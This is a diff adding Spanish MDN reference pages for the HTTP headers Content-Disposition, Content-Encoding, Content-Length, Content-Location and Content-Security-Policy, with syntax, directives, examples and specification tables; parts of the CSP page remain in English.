+<p>El primer parámetro en el contexto HTTP o es <code>inline</code> (valor predeterminado, indicando que puede ser mostrado dentro de una página web, o como la página web) o <code>attachment</code> (indicando que será descargado; la mayoría de los navegadores mostrando un diálogo 'Guardar como', prellenado con el valor del parámetro <code>filename</code>, en caso de estar presente).</p>
+
+<pre class="syntaxbox">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="Como_encabezado_para_un_cuerpo_multipartes">Como encabezado para un cuerpo multipartes</h3>
+
+<p>El primer parámetro en el contexto HTTP siempre es <code>form-data</code>; parámetros adicionales son insensibles a mayúsculas y tienen argumentos que usan sintaxis de textos entre comillas después del signo de <code>'='</code>. Múltiples parámetros se separan por punto y coma (<code>';'</code>).</p>
+
+<pre class="syntaxbox">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Directivas">Directivas</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Es seguida de un texto que contiene el nombre del campo de HTML en el formulario a la que el contenido de la subparte refiere. Cuando se usan múltiples archivos en el mismo campo (por ejemplo, el atributo {{htmlattrxref("multiple", "input")}} de un elemento <code>{{HTMLElement("input","&lt;input type=file&gt;")}}</code>), puede haber varias subpartes con el mismo nombre.<br>
+ Un <code>name</code> con valor de <code>'_charset_'</code> indica que la parte no es un campo HTML, sino el conjunto de caracteres predeterminado para partes sin información explícita sobre su conjunto de caracteres.</dd>
+ <dt><code>filename</code></dt>
+ <dd>
+ <p>Es seguida de un texto que contiene el nombre original del archivo transmitido. Siempre es opcional y no debe ser utilizado a ciegas por la aplicación: información sobre la ruta  debe ser despojada, y se debe realizar una conversión a las reglas del sistema de archivos del servidor. Este parámetro provee mayormente información indicativa. Cuando se usa en combinación con <code>Content-Disposition: attachment</code>, es utilizado como el nombre de archivo predeterminado en caso de que se presente al usuario un diálogo de 'Guardar como'.</p>
+ </dd>
+ <dt><code>filename*</code></dt>
+ <dd>
+ <p>Los parámetros <code>filename</code> y <code>filename*</code> difieren únicamente en que <code>filename*</code> utiliza encodeado definido en <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>. Cuando ambos están presentes en un valor de campo de encabezado simple, <code>filename*</code> es preferido sobre <code>filename</code> cuando ambos están presentes y entendidos.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta generando el diálogo 'Guardar como':</p>
+
+<pre>200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="genial.html"
+Content-Length: 22
+
+&lt;HTML&gt;Guárdame!&lt;/HTML&gt;
+
+</pre>
+
+<p>Este archivo simple de HTML será guardado como una descarga regular en lugar de mostrarse en el navegador. La mayoría de los navegadores propondrá guardarlo como <code>genial.html</code> ya que es el nombre (predeterminado).</p>
+
+<p>Un ejemplo de un formulario HTML, publicado usando el formato <code>multipart/form-data</code> que hace uso del encabezado <code>Content-Disposition</code>:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="campo1"
+
+valor1
+--boundary
+Content-Disposition: form-data; name="campo2"; filename="ejemplo.txt"
+
+valor2
+--boundary--</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7578")}}</td>
+   <td>Returning Values from Forms: multipart/form-data (Retornando Valores desde Formularios: multipart/form-data)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("6266")}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) (Uso del campo de encabezado Content-Disposition en HTML)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2183")}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field (Comunicando Información de Presentación en Mensajes de Internet: el Campo de Encabezado Content-Disposition)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si te gustaría contribuir, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>
+  <p>Firefox 5 maneja el encabezado de respuesta HTTP <code>Content-Disposition</code> más efectivamente si ambos parámetros <code>filename</code> y <code>filename*</code> están presentes; observa todos los nombres presentes, usando el parámetro <code>filename*</code> si uno está disponible, incluso si el parámetro <code>filename</code> está incluido antes. Previamente, el primer parámetro en encontrarse sería usado, de este modo se previene el uso de un nombre más apropiado. Mira {{bug(588781)}}.</p>
+ </li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">Formularios HTML</a></li>
+ <li>El {{HTTPHeader("Content-Type")}} definiendo el límite de un cuerpo multipartes.</li>
+ <li>La interfaz {{domxref("FormData")}} usada para manipular datos de formulario para uso en la API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
diff --git a/files/es/web/http/headers/content-encoding/index.html b/files/es/web/http/headers/content-encoding/index.html
new file mode 100644
index 0000000000..2c868ca5a6
--- /dev/null
+++ b/files/es/web/http/headers/content-encoding/index.html
@@ -0,0 +1,97 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Headers/Content-Encoding
+tags:
+  - Cabecera
+  - Referencia
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Content-Encoding</code></strong> es usada para comprimir el media-type. Cuando está presente, su valor indica qué codificación de contenido adicional ha sido aplicada al cuerpo de la entidad. Permite al cliente saber cómo decodificar para obtener el media-type referido por la cabecera <code>Content-Type</code>.</p>
+
+<p><span id="result_box" lang="es"><span>Se recomienda comprimir los datos tanto como sea posible y por lo tanto utilizar este campo, pero algunos tipos de recursos, como imágenes JPEG, ya están comprimidos.</span> <span>A veces, el uso de compresión adicional no reduce el tamaño de la petición e incluso puede hacer que la petición sea más larga.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>Un formato que usa <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa <em>gzip de </em>UNIX . El estándar HTTP/1.1 también recomienda que los servidores que soporten esta codificación también deberían reconocer  <code>x-gzip</code> como un alias por motivos de compatibilidad.</dd>
+ <dt><code>compress</code></dt>
+ <dd>Un formato que usa el algoritmo <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). El nombre viene del programa <em>compress de </em>UNIX , que implementó este algoritmo.<br>
+ Al igual que el programa compress, el cual ha desaparecido de la mayoría de distribuciones UNIX, esta codificación apenas es utilizada por los navegadores de hoy día, en parte debido a un problema de patente (la cual expiró en 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Usa la estructura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (definida en <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>), con el algoritmo de compresión <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> (definido en <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>).</dd>
+ <dt><code>identity</code></dt>
+ <dd><span id="result_box" lang="es"><span>Indica la función de identidad (es decir, sin compresión ni modificación).</span> <span>Este símbolo, excepto si se especifica explícitamente, siempre se considera aceptable.</span></span></dd>
+ <dt><code>br</code></dt>
+ <dd>Un formato que usa el algoritmo <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comprimiendo_con_gzip">Comprimiendo con gzip</h3>
+
+<p>En el lado del cliente, puede detectar una lista de esquemas de compresión que serán enviados en una petición HTTP. La cabecera {{HTTPHeader("Accept-Encoding")}} se utiliza para la negociación de la codificación del contenido.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>El servidor responde con el esquema usado, indicado por la cabecera de respuesta <code>Content-Encoding</code>.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>Ten en cuenta que el servidor no está obligado a usar algun método de compresión. La compresión depende directamente de la configuración del servidor y los módulos que utilice.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semántica y Contenido</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td>
+   <td>Formato de datos comprimidos Brotli</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página es generada a partir de una estructura de datos. Si quieres contribuir a estos datos, por favor, lee  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http/headers/content-encoding")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-length/index.html b/files/es/web/http/headers/content-length/index.html
new file mode 100644
index 0000000000..0521cf798e
--- /dev/null
+++ b/files/es/web/http/headers/content-length/index.html
@@ -0,0 +1,60 @@
+---
+title: Content-Length
+slug: Web/HTTP/Headers/Content-Length
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de entidad <strong><code>Content-Length</code></strong> indica el tamaño de la entidad-cuerpo, en bytes, enviado al destinatario.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de cabecera prohibido")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Content-Length: &lt;longitud&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>La longitud en número decimal de octetos.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+   <td>Protocolo de Transferencia de Hipertexto (HTTP/1.1): Sintaxis y enrutamiento de mensajes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-location/index.html b/files/es/web/http/headers/content-location/index.html
new file mode 100644
index 0000000000..eecadf51e5
--- /dev/null
+++ b/files/es/web/http/headers/content-location/index.html
@@ -0,0 +1,156 @@
+---
+title: Content-Location
+slug: Web/HTTP/Headers/Content-Location
+translation_of: Web/HTTP/Headers/Content-Location
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Content-Location</code></strong> indica una ubicación alternativa para los datos devueltos. Su principal uso es indicar la URL de un recurso transmitido y que ha resultado de una <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>.</p>
+
+<p>Las cabeceras {{HTTPHeader("Location")}} y <code>Content-Location</code> son diferentes. <code>Location</code> indica la URL de una redirección, mientras que <code>Content-Location</code> indica la URL directa a ser utilizada para acceder al recurso, sin necesidad de realizar <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a> en el futuro. Mientras que <code>Location</code> es una cabecera asociada con la respuesta, <code>Content-Location</code> está asociada con los datos devueltos. Esta distinción puede parecer abstracta sin ver algunos <a href="#Examples">ejemplos</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Location: &lt;url&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Una URL <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_relative_URLs">relativa</a> o <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_absolute_URLs">absoluta</a> (a la URL de la petición).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Solicitando_datos_de_un_servidor_en_distintos_formatos">Solicitando datos de un servidor en distintos formatos</h3>
+
+<p>Suponga que la API de un sitio web puede devolver datos en los formatos {{glossary("JSON")}}, {{glossary("XML")}}, o <a href="https://en.wikipedia.org/wiki/Comma-separated_values" rel="external" title="Comma-separated values">CSV</a>. Si la URL de un documento particular se encuentra en <code>https://example.com/documents/foo</code>, el sitio web podría retornar distintas URLs en la cabecera <code>Content-Location</code> dependiendo de la cabecera {{HTTPHeader("Accept")}} enviada en la petición: </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Request header</th>
+   <th scope="col">Response header</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Accept: application/json, text/json</code></td>
+   <td><code>Content-Location: /documents/foo.json</code></td>
+  </tr>
+  <tr>
+   <td><code>Accept: application/xml, text/xml</code></td>
+   <td><code>Content-Location: /documents/foo.xml</code></td>
+  </tr>
+  <tr>
+   <td><code>Accept: text/plain, text/*</code></td>
+   <td><code>Content-Location: /documents/foo.txt</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Estas URLs son ejemplos — el sitio web podría servir los distintos tipos de ficheros con cualquier patrón de URL que desee, por ejemplo, por medio de un <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/search">parámetro en la query</a>: <code>/documents/foo?format=json</code>, <code>/documents/foo?format=xml</code>, y así sucesivamente.</p>
+
+<p>De esa forma el cliente podrÍa recordar que la versión en formato JSON está disponible en esa URL particular, saltándose el paso de la negociación de contenido la próxima vez que solicite ese documento.</p>
+
+<p>El servidor podría también considerar otras cabeceras de <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>, tales como {{HTTPHeader("Accept-Language")}}.</p>
+
+<h3 id="Apuntando_a_un_nuevo_documento_HTTP_201_Created">Apuntando a un nuevo documento (HTTP 201 Created)</h3>
+
+<p>Suponga que está creando una nueva entrada de un blog, a través de la API del sitio web:</p>
+
+<pre>PUT /new/post
+Host: example.com
+Content-Type: text/markdown
+
+# Mi primera entrada de blog!
+
+Hice esto a través de la API de `example.com`'. Espero que funcione.
+</pre>
+
+<p>El sitio devuelve un mensaje genérico de éxito confirmando que el post ha sido publicado. El servidor especifica donde se encuentra la nueva entrada utilizando <code>Content-Location</code>:</p>
+
+<pre>HTTP/1.1 201 Created
+Content-Type: text/plain; charset=utf-8
+Content-Location: /my-first-blog-post
+
+✅ Success!
+</pre>
+
+<h3 id="Indicating_the_URL_of_a_transactions_result">Indicating the URL of a transaction's result</h3>
+
+<p>Digamos que tiene un formulario <code><a href="/en-US/docs/Web/HTML/Element/form">&lt;form&gt;</a></code>  para el envío de dinero a otro usuario de un sitio web.</p>
+
+<pre class="brush: html">&lt;form action="/enviar-pago" method="post"&gt;
+  &lt;p&gt;
+    &lt;label&gt;A quien desea enviar dinero?
+      &lt;input type="text" name="destinatario"&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+
+  &lt;p&gt;
+    &lt;label&gt;Cuanto dinero?
+      &lt;input type="number" name="cantidad"&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+
+  &lt;button type="submit"&gt;Enviar dinero&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Cuando el formulario es enviado, el sitio web genera un recibo o comprobante de la transacción. El servidor podría utilizar la cabecera <code>Content-Location</code> para indicar la URL de ese comprobante para un acceso futuro.</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Location: /mis-recibos/38
+
+&lt;!doctype html&gt;
+<em>(Lots of HTML…)</em>
+
+&lt;p&gt;Ha enviado $38.00 a UsuarioFicticio.&lt;/p&gt;
+
+<em>(Lots more HTML…)</em>
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Location")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Location")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-security-policy/index.html b/files/es/web/http/headers/content-security-policy/index.html
new file mode 100644
index 0000000000..5659403d96
--- /dev/null
+++ b/files/es/web/http/headers/content-security-policy/index.html
@@ -0,0 +1,252 @@
+---
+title: Content-Security-Policy
+slug: Web/HTTP/Headers/Content-Security-Policy
+tags:
+  - CSP
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<div class="twocolumns"></div>
+
+<p><br>
+ La cabecera HTTP <strong><code>Content-Security-Policy  </code></strong>en la respuesta permite a los administradores de un sitio web controlar los recursos que el User-Agent puede cargar a una pagina. Con algunas (Poquísimas) excepciones, las políticas implican principalmente especificar el servidor de origen la protección de puntos finales del script. Esto ayuda a protegerse contra ataques Cross-site scripting ({{Glossary("XSS")}}).</p>
+
+<dl>
+ <dt></dt>
+</dl>
+
+<p>Para mas información, ve también este articulo en <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p>
+
+<div></div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Security-Policy: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3>
+
+<p>"Fetch directives" controla la ubicación o ubicaciones desde la cual se pueden cargar ciertos tipos de recursos</p>
+
+<h4 id="Lista_de_Content_Security_Policy_Fetch_directives">Lista de Content Security Policy Fetch directives</h4>
+
+<dl>
+ <dt>{{CSP("child-src")}}</dt>
+ <dd>Define los origenes válidos para <a href="/es/docs/Web/API/Web_Workers_API">web workers</a> y contextos de navegación anidados cargados usando elementos como {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.
+ <div class="warning">
+ <p>En lugar de <strong><code>child-src</code></strong>, los autores quienes deseen regular los contextos de navegación anidados y "workers" deberían usar las directivas {{CSP("frame-src")}} y {{CSP("worker-src")}}, respectivamente.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("connect-src")}}</dt>
+ <dd>Restringe las URLs que pueden ser cargados usando scripts.</dd>
+ <dt>{{CSP("default-src")}}</dt>
+ <dd>Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.</dd>
+ <dt>{{CSP("font-src")}}</dt>
+ <dd>Especifica origenes válidos para las fuentes cargadas usando {{cssxref("@font-face")}}.</dd>
+ <dt>{{CSP("frame-src")}}</dt>
+ <dd>Especifica origenes válidos para contextos de navageción anidada cargados usando elementos como {{HTMLElement("frame")}} y  {{HTMLElement("iframe")}}.</dd>
+ <dt>{{CSP("img-src")}}</dt>
+ <dd>Especifica origenes válidos de imágenes y favicons.</dd>
+ <dt>{{CSP("manifest-src")}}</dt>
+ <dd>Especifica origenes válidos de archivos de manifiesto de una aplicación.</dd>
+ <dt>{{CSP("media-src")}}</dt>
+ <dd>Especifica origenes válidos para carga de archivos usando elementos como {{HTMLElement("audio")}} , {{HTMLElement("video")}} y {{HTMLElement("track")}}.</dd>
+ <dt>{{CSP("object-src")}}</dt>
+ <dd>Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.</dd>
+ <dd class="note">Elements controlled by <code>object-src</code> are perhaps coincidentally considered legacy HTML elements and aren't recieving new standardized features (such as the security attributes <code>sandbox</code> or <code>allow</code> for <code>&lt;iframe&gt;</code>). Therefore it is <strong>recommended</strong> to restrict this fetch-directive (e.g. explicitly set <code>object-src 'none'</code> if possible).</dd>
+ <dt>{{CSP("prefetch-src")}}</dt>
+ <dd>Specifies valid sources to be prefetched or prerendered.</dd>
+ <dt>{{CSP("script-src")}}</dt>
+ <dd>Specifies valid sources for JavaScript.</dd>
+ <dt>{{CSP("style-src")}}</dt>
+ <dd>Specifies valid sources for stylesheets.</dd>
+ <dt>{{CSP("webrtc-src")}} {{experimental_inline}}</dt>
+ <dd>Specifies valid sources for <a href="/docs/Web/API/WebRTC_API">WebRTC</a> connections.</dd>
+ <dt>{{CSP("worker-src")}}</dt>
+ <dd>Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</dd>
+</dl>
+
+<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3>
+
+<p>Document directives govern the properties of a document or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a> environment to which a policy applies.</p>
+
+<dl>
+ <dt>{{CSP("base-uri")}}</dt>
+ <dd>Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.</dd>
+ <dt>{{CSP("plugin-types")}}</dt>
+ <dd>Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.</dd>
+ <dt>{{CSP("sandbox")}}</dt>
+ <dd>Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.</dd>
+ <dt>{{CSP("disown-opener")}} {{obsolete_inline}}</dt>
+ <dd>Ensures a resource will disown its opener when navigated to.</dd>
+</dl>
+
+<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3>
+
+<p>Navigation directives govern to which location a user can navigate to or submit a form to, for example.</p>
+
+<dl>
+ <dt>{{CSP("form-action")}}</dt>
+ <dd>Restricts the URLs which can be used as the target of a form submissions from a given context.</dd>
+ <dt>{{CSP("frame-ancestors")}}</dt>
+ <dd>Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd>
+ <dt>{{CSP("navigate-to")}} {{experimental_inline}}</dt>
+ <dd>Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)</dd>
+</dl>
+
+<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3>
+
+<p>Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.</p>
+
+<dl>
+ <dt>{{CSP("report-uri")}} {{obsolete_inline}}</dt>
+ <dd>Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.
+ <div class="warning">
+ <p>Though the {{CSP("report-to")}} directive is intended to replace the deprecated <code><strong>report-uri</strong></code> directive, {{CSP("report-to")}} isn’t supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both <code><strong>report-uri</strong></code> and {{CSP("report-to")}}:</p>
+
+ <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre>
+
+ <p>In browsers that support {{CSP("report-to")}}, the <code><strong>report-uri</strong></code> directive will be ignored.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("report-to")}} {{experimental_inline}}</dt>
+ <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd>
+</dl>
+
+<h3 id="Other_directives">Other directives</h3>
+
+<dl>
+ <dt>{{CSP("block-all-mixed-content")}}</dt>
+ <dd>Prevents loading any assets using HTTP when the page is loaded using HTTPS.</dd>
+ <dt>{{CSP("referrer")}} {{obsolete_inline}}</dt>
+ <dd>Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.</dd>
+ <dt>{{CSP("require-sri-for")}}</dt>
+ <dd>Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("trusted-types")}} {{experimental_inline}}</dt>
+ <dd>Used to specify a whitelist of <a href="https://github.com/WICG/trusted-types">Trusted Types</a> policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("upgrade-insecure-requests")}}</dt>
+ <dd>Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.</dd>
+</dl>
+
+<h2 id="CSP_in_workers">CSP in workers</h2>
+
+<p><a href="/en-US/docs/Web/API/Worker">Workers</a> en general no se rigen por las politicas de seguridad de contenido de el documento (o padre del worker) que los creó. To specify a content security policy for the worker, set a <code>Content-Security-Policy</code> response header for the request which requested the worker script itself.</p>
+
+<p>The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.</p>
+
+<h2 id="Multiple_content_security_policies">Multiple content security policies</h2>
+
+<p>CSP allows multiple policies being specified for a resource, including via the <code>Content-Security-Policy</code> header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.</p>
+
+<p>You can use the <code>Content-Security-Policy</code> header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains <code>connect-src 'none'</code>. Adding additional policies <em>can only further restrict</em> the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, <code>connect-src 'none'</code> is enforced.</p>
+
+<pre>Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:</p>
+
+<pre>// header
+Content-Security-Policy: default-src https:
+
+// meta tag
+&lt;meta http-equiv="Content-Security-Policy" content="default-src https:"&gt;
+</pre>
+
+<p>Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:</p>
+
+<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre>
+
+<p>Example: Don't implement the above policy yet; instead just report violations that would have occurred:</p>
+
+<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>See <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">Mozilla Web Security Guidelines</a> for more examples.</p>
+
